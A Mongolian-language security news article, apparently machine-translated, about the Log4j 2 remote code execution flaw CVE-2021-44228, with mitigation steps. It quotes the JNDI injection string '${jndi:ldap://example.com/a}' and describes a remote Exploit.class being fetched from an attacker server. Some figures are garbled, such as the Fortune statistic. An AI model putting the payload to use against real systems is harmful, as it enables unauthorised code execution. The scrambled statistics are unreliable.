Саяхан Apache Log4j 2-т чухал эмзэг байдал илэрсэн тухай мэдээг нийтэллээ, энэ нь Java програмууд дахь бүртгэлийг зохион байгуулах түгээмэл хүрээ гэдгээрээ онцлог бөгөөд “{jndi: URL}” форматаар бүртгэлд тусгайлан форматлагдсан утгыг бичихэд дурын кодыг гүйцэтгэх боломжийг олгодог.
Эмзэг байдал Халдлагыг Java програмууд дээр хийх боломжтой учраас анхаарал татаад байгаа. Тэд гадны эх сурвалжаас олж авсан утгыг бүртгэдэг, жишээлбэл алдааны мессеж дэх асуудалтай утгыг харуулах замаар.
Энэ нь одоогийн байдлаар ажиглагдаж байгаа юм Apache Struts, Apache Solr, Apache Druid эсвэл Apache Flink гэх мэт фреймворк ашигладаг бараг бүх төслүүдэд хамааралтай юм. Үүнд нь Steam, Apple iCloud, Minecraft үйлчлүүлэгч болон серверүүд орно.
Энэ эмзэг байдал нь аж ахуйн нэгжийн хэрэглээний програмууд руу чиглэсэн асар их халдлагын давалгаанд хүргэж, Apache Struts хүрээн дэх чухал сул талуудын түүхийг давтах төлөвтэй байгаа бөгөөд энэ нь Fortune 65 вэб програмуудын 100% -д хэрэглэгддэг гэсэн тооцоололтой. Компанийн вэб програмуудын жагсаалт Сүлжээнд эмзэг систем байгаа эсэхийг шалгах оролдлого аль хэдийн эхэлжээ.
Энэ эмзэг байдал нь баталгаажуулаагүй кодыг алсаас ажиллуулах боломжийг олгодог. Log4j 2 нь Apache сангаас боловсруулсан нээлттэй эхийн Java бүртгэлийн номын сан юм. Log4j 2 нь олон төрлийн хэрэглээнд өргөн хэрэглэгддэг бөгөөд олон үйлчилгээнд хараат байдлаар байдаг. Үүнд бизнесийн программууд болон олон тооны үүлэн үйлчилгээнүүд орно.
Randori халдлагын баг нь функциональ мөлжлөгийг хөгжүүлсэн бөгөөд манай довтолгооны хамгаалалтын платформын нэг хэсэг болгон хэрэглэгчийн орчинд энэхүү эмзэг байдлыг амжилттай ашиглаж чадсан.
“Эмзэг байдлыг програмын тусгайлсан олон арга замаар олж авч болно. Үнэн хэрэгтээ Log4j номын санг ашиглаж байгаа програмын бүртгэлийн файлд бичсэн дурын өгөгдлийг алсаас холбосон тохиолдолд ашиглах боломжтой. Энэхүү эмзэг байдал нь байгальд ашиглагдах магадлал өндөр бөгөөд олон мянган байгууллагад нөлөөлөх магадлалтай. Энэ эмзэг байдал нь нөлөөлөлд өртсөн системүүдэд ноцтой бодит эрсдэлийг илэрхийлдэг.“
Функциональ мөлжлөг аль хэдийн хэвлэгдсэн, жишээ нь.Гэхдээ тогтвортой салбаруудын засвар хараахан гараагүй байна. CVE танигчийг хараахан өгөөгүй байна. Шийдэл нь зөвхөн log4j-2.15.0-rc1 тестийн салбарт багтсан болно. Эмзэг байдлыг хаахын тулд Log4j2.formatMsgNoLookups параметрийг үнэн болгохыг зөвлөж байна.
Асуудал Энэ нь Log4j 2 нь бүртгэлийн мөрөнд “{}” тусгай масктай ажиллахыг дэмждэгтэй холбоотой юм., үүнд JNDI асуулга ажиллуулж болно (Java нэршил ба лавлах интерфейс).
CVE-2021-44228-д дүн шинжилгээ хийхдээ Рандори дараахь зүйлийг тодорхойлсон.
Өргөн хэрэглэгддэг бизнесийн програм хангамжийн анхдагч суурилуулалт нь эмзэг байдаг.
Энэ эмзэг байдлыг найдвартай, баталгаажуулалтгүйгээр ашиглах боломжтой.
Энэ эмзэг байдал нь Log4j 2-ын олон хувилбарт нөлөөлдөг.
Энэ эмзэг байдал нь хэрэглэгч програмыг номын сан ашиглан ажиллуулах үед кодыг алсаас гүйцэтгэх боломжийг олгодог.
Энэхүү халдлага нь “$ {jndi: ldap: //example.com/a}” гэсэн орлуулалт бүхий стринг дамжуулахад хүргэдэг бөгөөд үүнийг боловсруулснаар Log4j 2 Java анги руу орох замд зориулсан LDAP хүсэлтийг attacker.com сервер рүү илгээнэ. . Халдагчийн серверээс буцаасан зам (жишээ нь http://example.com/Exploit.class) нь одоогийн үйл явцын контекст дээр ачаалагдаж, гүйцэтгэгдэж, халдагчид эрх бүхий систем дээр дурын кодыг гүйцэтгэх боломжийг олгоно. одоогийн хэрэглээний.
Эцэст нь үүнийг дурдсан болно хэвийн бус байдал илэрвэл, та үүнийг идэвхтэй үйл явдал гэж үзэн, үүнд халдсан гэж үзэж, зохих хариу өгөхийг зөвлөж байна. Log4j 2 эсвэл нөлөөлөлд өртсөн програмуудын засварласан хувилбарууд руу шинэчлэх нь энэ эмзэг байдлыг арилгах болно. Нөлөөлөлд өртөж магадгүй гэж үзэж буй аливаа байгууллагыг яаралтай засварласан хувилбар руу шинэчлэхийг Рандори зөвлөж байна.
Apache Log4j багийн хамгийн сүүлийн үеийн шинэчлэлд, байгууллагуудад дараахь зүйлийг хийхийг зөвлөж байна
- Log4j 2.15.0 болгон шинэчилэх
- 2.15.0 руу шинэчлэх боломжгүй хүмүүсийн хувьд:> = 2.10 хувилбаруудад log4j2.formatMsgNoLookup системийн шинж чанар эсвэл LOG4J_FORMAT_MSG_NO_LOOKUPS орчны хувьсагчийг үнэн болгож тохируулснаар энэ эмзэг байдлыг багасгаж болно.
- 2,0-beta9-аас 2.10.0 хүртэлх хувилбаруудын хувьд JndiLookup ангийг ангиллын замаас хасах явдал юм: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
Эх сурвалж: https://www.lunasec.io/